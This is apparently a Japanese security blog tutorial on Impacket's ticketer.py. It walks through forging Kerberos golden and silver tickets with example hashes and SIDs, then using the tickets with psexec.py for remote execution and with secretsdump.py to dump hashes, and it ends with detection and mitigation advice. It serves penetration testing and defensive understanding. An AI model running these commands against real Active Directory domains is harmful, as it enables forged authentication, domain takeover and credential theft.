Kerberosチケットを生成・カスタマイズする強力なツール
impacket-ticketer
(または ticketer.py
) は、Impacket スイートに含まれる強力なPythonスクリプトです。Impacketは、ネットワークプロトコルを扱うためのPythonクラスのコレクションであり、特にSMBやMSRPCなどのプロトコル実装への低レベルアクセスを提供します。ticketer.py
は、Active Directory環境におけるKerberos認証の根幹であるチケット(TGTやTGS)を、ゼロから作成したり、既存のチケットをテンプレートとしてカスタマイズしたりすることができます。
このツールの主な用途は、セキュリティ評価やペネトレーションテストにおいて、ゴールデンチケットやシルバーチケットと呼ばれる特殊なKerberosチケットを生成することです。これらのチケットを悪用することで、攻撃者はドメイン内で高い権限を不正に取得したり、特定のサービスへのアクセス権限を偽装したりすることが可能になります。防御側の視点では、このツールの動作を理解することは、これらの高度な攻撃を検知し、対策を講じる上で不可欠です。
このブログ記事では、impacket-ticketer
の基本的な使い方から、ゴールデンチケット、シルバーチケットの生成方法、そして生成したチケットの利用方法まで、詳細に解説していきます。
Kerberosとチケットの基礎知識 🔑
impacket-ticketer
を理解するためには、まずKerberos認証とチケットの概念を把握する必要があります。Kerberosは、ネットワーク上で安全にユーザーやサービスの身元を確認するための認証プロトコルで、特にWindows Active Directory環境で広く利用されています。
Kerberos認証の中心となるのが「チケット」です。主なチケットには以下の2種類があります。
- TGT (Ticket Granting Ticket): チケット発行許可チケット。ユーザーが最初にKDC(Key Distribution Center)で認証された際に受け取ります。このTGTを提示することで、特定のサービスへのアクセスに必要なTGSを要求できます。
- TGS (Ticket Granting Service) / Service Ticket: サービスチケット。ユーザーが特定のサービス(ファイル共有、Webサーバーなど)にアクセスしたい場合に、TGTをKDC(正確にはTGSコンポーネント)に提示して取得します。このチケットをサービスに提示することで、認証が行われます。
通常、これらのチケットは正当な認証プロセスを経てKDCによって発行されます。しかし、impacket-ticketer
を使用すると、特定の情報(ドメインSID、アカウントのパスワードハッシュなど)があれば、これらのチケットをKDCを介さずに「偽造」することが可能になります。
前提条件とインストール
impacket-ticketer
を使用するには、まずImpacketがインストールされている必要があります。ImpacketはPythonで書かれているため、Python環境が必要です。
インストール方法:
pip を使用してインストールするのが最も簡単です。最新版をGitHubから直接インストールすることも推奨されています。
# pipを使用する場合 (システム全体より仮想環境推奨)
pip install impacket
# GitHubから最新版をインストールする場合 (推奨)
pip install git+https://github.com/fortra/impacket.git
# または pipx を使う場合
pipx install git+https://github.com/fortra/impacket.git
Kali Linuxなどのペネトレーションテスト用ディストリビューションには、多くの場合Impacketがプリインストールされていますが、最新版を使用するために上記の方法で更新することをお勧めします。
チケット生成に必要な情報:
偽造チケットを作成するには、攻撃対象のActive Directory環境に関する特定の情報が必要です。必要な情報は生成するチケットの種類によって異なりますが、一般的には以下のようなものが含まれます。
- ドメインSID (Domain Security Identifier): ドメイン固有の識別子。
- ドメイン名 (FQDN): 完全修飾ドメイン名 (例:
corp.example.com
)。 - ユーザー名: チケットを偽造する対象のユーザー名(実在しなくても可能な場合があるが、近年のパッチ適用環境では実在ユーザーが必要)。
- KRBTGTアカウントのハッシュ (ゴールデンチケット用): ドメインコントローラー上の特殊なアカウント
krbtgt
のNTLMハッシュまたはAESキー。これを取得するには通常、ドメイン管理者権限が必要です。 - サービスアカウントのハッシュ (シルバーチケット用): アクセスしたいサービスを実行しているコンピューターアカウントまたはユーザーアカウントのNTLMハッシュまたはAESキー。
- ドメインコントローラーのIPアドレス (オプション): 必要に応じて指定します。
- SPN (Service Principal Name) (シルバーチケット用): アクセスしたいサービスの識別子 (例:
cifs/fileserver.corp.example.com
)。
これらの情報は、secretsdump.py
(Impacketの一部) や Mimikatz などのツールを使用して、ドメインコントローラーや対象サーバーから取得できる場合がありますが、通常は高度な権限が必要です。
基本的な使い方とオプション
impacket-ticketer
の基本的なコマンド形式は以下のようになります。
ticketer.py [オプション] <ユーザー名>
主要なオプションをいくつか紹介します。
オプション | 説明 | 例 |
---|---|---|
-nthash <hash> |
RC4暗号化に使用するNTLMハッシュを指定します (KRBTGTまたはサービスアカウント)。 | -nthash aabbccddeeff00112233445566778899 |
-aesKey <key> |
AES暗号化 (128/256ビット) に使用するキーを指定します。-nthash の代わりに使用します。 |
-aesKey 0123456789abcdef0123456789abcdef |
-domain-sid <SID> |
ターゲットドメインのSIDを指定します。必須です。 | -domain-sid S-1-5-21-xxxxxxxxxx-yyyyyyyyyy-zzzzzzzzzz |
-domain <FQDN> |
ターゲットドメインのFQDNを指定します。必須です。 | -domain corp.example.com |
-spn <SPN> |
シルバーチケットを生成する場合に、ターゲットサービスのSPNを指定します。 | -spn cifs/fileserver.corp.example.com |
-user <username> |
最後の引数で指定するユーザー名とは別に、偽装するユーザーを指定する場合に使用します(-impersonate オプションと関連)。 |
-user administrator |
-impersonate <username> |
指定したユーザーを偽装するチケットを生成します (Sapphire Ticketなどで利用)。-user , -password /-hashes , -request など他のオプションと組み合わせて使用します。 |
-impersonate administrator |
-dc-ip <IP> |
ドメインコントローラーのIPアドレスを指定します。 | -dc-ip 192.168.1.100 |
-request |
KDCに正規のチケットを要求し、それをテンプレートとして使用します。-user と -password /-hashes が必要です。 |
-request -user validuser -password P@ssword1 |
-request-pac |
チケットに含めるPAC (Privilege Attribute Certificate) 情報を指定したユーザーから取得します。-user と -password /-hashes が必要です。 |
-request-pac -user validuser -password P@ssword1 |
-groups <id1,id2,...> |
チケットのPACに含めるグループIDをカンマ区切りで指定します。デフォルトでは一般的な管理者グループIDが含まれます。 | -groups 513,512,520 |
-extra-sids <sid1,sid2,...> |
チケットのPACに含める追加のSIDを指定します。 | -extra-sids S-1-18-1 |
-duration <days> |
チケットの有効期間を日数で指定します。デフォルトは非常に長い期間(約10年)です。 | -duration 7 |
-ticket <ticket.ccache> |
既存のチケットファイル (.ccache) をテンプレートとして使用します。 | -ticket existing_ticket.ccache |
<ユーザー名> |
生成するチケットファイル名 (.ccache ) のベースとなる名前、およびチケット内のユーザー名として使用されます。 |
administrator (→ administrator.ccache が生成される) |
注意: 近年のWindows Update (特に2021年11月以降) により、実在しないユーザー名でチケットを偽造する攻撃は対策されている場合があります。そのため、実在するユーザー名を指定する必要があるケースが増えています。
ゴールデンチケット (Golden Ticket) の生成 👑
ゴールデンチケットは、偽造されたTGT (Ticket Granting Ticket) です。Active Directoryドメインの「マスターキー」とも言えるkrbtgt
アカウントのパスワードハッシュ(NTLMハッシュまたはAESキー)を知っていれば、任意のユーザーとして、任意のグループに所属する(ように見せかけた)TGTを生成できます。これをKDCに提示すれば、ドメイン内のほぼ全てのサービスに対するサービスチケット(TGS)を取得でき、事実上ドメイン全体の管理者権限を掌握することが可能です。
ゴールデンチケットの生成には、以下の情報が最低限必要です。
krbtgt
アカウントのNTLMハッシュ (-nthash
) または AESキー (-aesKey
)- ドメインSID (
-domain-sid
) - ドメインFQDN (
-domain
) - 偽造するユーザー名(実在するユーザー推奨)
生成コマンド例 (NTLMハッシュを使用):
ticketer.py -nthash <krbtgt_nthash> \
-domain-sid <your_domain_SID> \
-domain <your_domain_FQDN> \
<target_username>
生成コマンド例 (AES256キーを使用):
ticketer.py -aesKey <krbtgt_aes256key> \
-domain-sid <your_domain_SID> \
-domain <your_domain_FQDN> \
<target_username>
例えば、ドメイン CORP.EXAMPLE.COM
のドメインSIDが S-1-5-21-100-200-300
で、krbtgt
のNTLMハッシュが aabbccddeeff00112233445566778899
の場合、administrator
というユーザー名でゴールデンチケットを生成するには、以下のように実行します。
ticketer.py -nthash aabbccddeeff00112233445566778899 \
-domain-sid S-1-5-21-100-200-300 \
-domain CORP.EXAMPLE.COM \
administrator
成功すると、カレントディレクトリに administrator.ccache
というファイルが生成されます。これがゴールデンチケットです。デフォルトでは、このチケットは非常に高い権限を持つグループ(Domain Adminsなど)に所属しているかのように偽装されます。
シルバーチケット (Silver Ticket) の生成 🥈
シルバーチケットは、偽造されたTGS(サービスチケット)です。ゴールデンチケットがドメイン全体のアクセス権を狙うのに対し、シルバーチケットは特定のサーバー上の特定のサービスへのアクセス権を偽装するために使用されます。
シルバーチケットの生成には、krbtgt
アカウントのハッシュは不要です。代わりに、アクセスしたいサービスを実行しているアカウント(通常はコンピューターアカウントまたは特定のサービスアカウント)のパスワードハッシュ(NTLMハッシュまたはAESキー)が必要です。サービスアカウントのハッシュは、krbtgt
アカウントのハッシュよりも比較的容易に取得できる可能性があります(例: Kerberoasting攻撃、サーバー侵害によるLSASSダンプなど)。
シルバーチケットの生成には、以下の情報が最低限必要です。
- サービスアカウント(コンピューターアカウント等)のNTLMハッシュ (
-nthash
) または AESキー (-aesKey
) - ドメインSID (
-domain-sid
) - ドメインFQDN (
-domain
) - ターゲットサービスのSPN (
-spn
) - 偽造するユーザー名(実在するユーザー推奨)
生成コマンド例 (NTLMハッシュを使用):
ticketer.py -nthash <service_account_nthash> \
-domain-sid <your_domain_SID> \
-domain <your_domain_FQDN> \
-spn <target_service_SPN> \
<target_username>
生成コマンド例 (AES256キーを使用):
ticketer.py -aesKey <service_account_aes256key> \
-domain-sid <your_domain_SID> \
-domain <your_domain_FQDN> \
-spn <target_service_SPN> \
<target_username>
例えば、ドメイン CORP.EXAMPLE.COM
(SID: S-1-5-21-100-200-300
) のファイルサーバー FILESRV01.CORP.EXAMPLE.COM
のCIFSサービス (SPN: cifs/FILESRV01.CORP.EXAMPLE.COM
) にアクセスするためのシルバーチケットを、FILESRV01$
アカウントのNTLMハッシュ 112233445566778899aabbccddeeff00
を使って administrator
として偽造するには、以下のように実行します。
ticketer.py -nthash 112233445566778899aabbccddeeff00 \
-domain-sid S-1-5-21-100-200-300 \
-domain CORP.EXAMPLE.COM \
-spn cifs/FILESRV01.CORP.EXAMPLE.COM \
administrator
成功すると、カレントディレクトリに administrator.ccache
というファイルが生成されます。これがシルバーチケットです。このチケットは、FILESRV01.CORP.EXAMPLE.COM
のCIFSサービスに対してのみ有効です。他のサービスや他のサーバーには使用できません。
生成されたチケット (.ccache) の利用方法 🚀
impacket-ticketer
で生成されたチケットファイル (.ccache
形式) は、他のImpacketツールやKerberos認証をサポートするツール(Linux環境の smbclient
など)で使用できます。チケットを利用するには、環境変数 KRB5CCNAME
にチケットファイルのパスを設定します。
環境変数の設定 (Linux/macOS):
export KRB5CCNAME=/path/to/your/ticket.ccache
# 例: export KRB5CCNAME=./administrator.ccache
環境変数の設定 (Windows – PowerShell):
$env:KRB5CCNAME = "C:\path\to\your\ticket.ccache"
# 例: $env:KRB5CCNAME = ".\administrator.ccache"
環境変数を設定した後、Kerberos認証を使用するImpacketツール(psexec.py
, smbexec.py
, wmiexec.py
, secretsdump.py
など)を実行する際に、-k
オプションと -no-pass
オプションを指定します。-k
はKerberos認証を使用することを指示し、-no-pass
はパスワード認証を試みないことを指示します。ツールは自動的に KRB5CCNAME
で指定されたチケットを使用します。
例: ゴールデンチケットを使用して psexec.py でドメインコントローラーに接続する
# 1. ゴールデンチケット (administrator.ccache) を生成 (前述のコマンド)
# 2. 環境変数を設定
export KRB5CCNAME=./administrator.ccache
# 3. psexec.py を実行 (-k と -no-pass を使用)
psexec.py -k -no-pass <ドメイン名>/<チケットのユーザー名>@<ターゲットホスト名またはIP>
# 例: psexec.py -k -no-pass CORP.EXAMPLE.COM/administrator@dc01.corp.example.com
例: シルバーチケットを使用して secretsdump.py でファイルサーバーからハッシュを取得する
# 1. シルバーチケット (administrator.ccache) を生成 (前述のコマンド、SPN=cifs/FILESRV01.CORP.EXAMPLE.COM)
# 2. 環境変数を設定
export KRB5CCNAME=./administrator.ccache
# 3. secretsdump.py を実行 (-k と -no-pass を使用)
secretsdump.py -k -no-pass <ドメイン名>/<チケットのユーザー名>@<ターゲットホスト名またはIP>
# 例: secretsdump.py -k -no-pass CORP.EXAMPLE.COM/administrator@FILESRV01.CORP.EXAMPLE.COM
これにより、パスワードや元のハッシュを直接入力することなく、偽造したチケットの権限でターゲットシステムにアクセスし、コマンドを実行したり、情報を収集したりできます。
💡 チケットの変換: Mimikatzなどで生成された .kirbi
形式のチケットは、Impacketの ticketConverter.py
スクリプトを使用して .ccache
形式に変換できます。
ticketConverter.py ticket.kirbi ticket.ccache
セキュリティへの影響と対策 🛡️
ゴールデンチケットやシルバーチケット攻撃は、Active Directory環境における深刻な脅威です。これらの攻撃が成功すると、攻撃者は正規の認証情報を窃取することなく、ドメイン内で長期間にわたり高い権限を維持し、自由に活動することが可能になります。
検知のポイント:
- Kerberosイベントログの監視: ドメインコントローラーやメンバーサーバーのセキュリティイベントログ(特にKerberos関連のイベントID 4768, 4769, 4771など)を監視し、異常なチケット要求(例:通常とは異なる暗号化タイプ(RC4)、異常に長い有効期間、存在しないユーザー名からの要求、不審なサービスへの要求、RIDとユーザー名の不一致など)を検知します。
- ネットワークトラフィックの分析: KDCとの通信パターンや、サービスへのアクセスパターンに異常がないか監視します。シルバーチケットはKDCと通信しないため、サービス側のログ監視が重要になります。
krbtgt
アカウントの監視: このアカウントに対する異常なアクセスや変更がないか監視します。- サービスアカウントの監視: 特に権限の強いサービスアカウントのパスワードハッシュが漏洩しないように管理し、不審な利用がないか監視します。
対策:
krbtgt
アカウントのパスワード定期変更: 最も重要な対策の一つです。万が一漏洩した場合の影響を限定するため、定期的(例: 180日ごと)かつ複数回(最低2回)変更することが推奨されます。- 強力なパスワードポリシーとアカウント管理: サービスアカウントを含むすべてのアカウントに対して、推測困難な複雑なパスワードを設定し、定期的に変更します。不要なアカウントは無効化または削除します。
- 最小権限の原則の徹底: ユーザーやサービスアカウントには、業務に必要な最低限の権限のみを付与します。ドメイン管理者権限を持つアカウント数を厳格に管理します。
- OSとソフトウェアの最新化: 既知の脆弱性を悪用されないように、OSやアプリケーションにセキュリティパッチを迅速に適用します。特にKerberos関連のセキュリティ更新プログラム(2021年11月の更新など)は重要です。
- 特権アクセス管理 (PAM) ソリューションの導入: 特権アカウントのアクセス制御、監視、パスワード管理を強化します。
- セキュリティ監視体制の強化: SIEMなどのツールを活用し、ログを集約・分析して、不審なアクティビティを早期に検知できる体制を構築します。
まとめ
impacket-ticketer
は、Kerberosチケットを柔軟に生成・操作できる非常に強力なツールです。ペネトレーションテスターやセキュリティ研究者にとっては、Active Directory環境のセキュリティ評価や攻撃手法の理解に役立ちます。一方で、攻撃者にとっても、ドメイン内での権限昇格や永続化を実現するための重要な武器となり得ます。
ゴールデンチケットやシルバーチケットといった攻撃手法の仕組みと、impacket-ticketer
のようなツールの使い方を理解することは、現代のActive Directory環境を保護する上で極めて重要です。適切な検知・防御策を講じることで、これらの高度な脅威から組織のシステムを守ることができます 💪。
コメント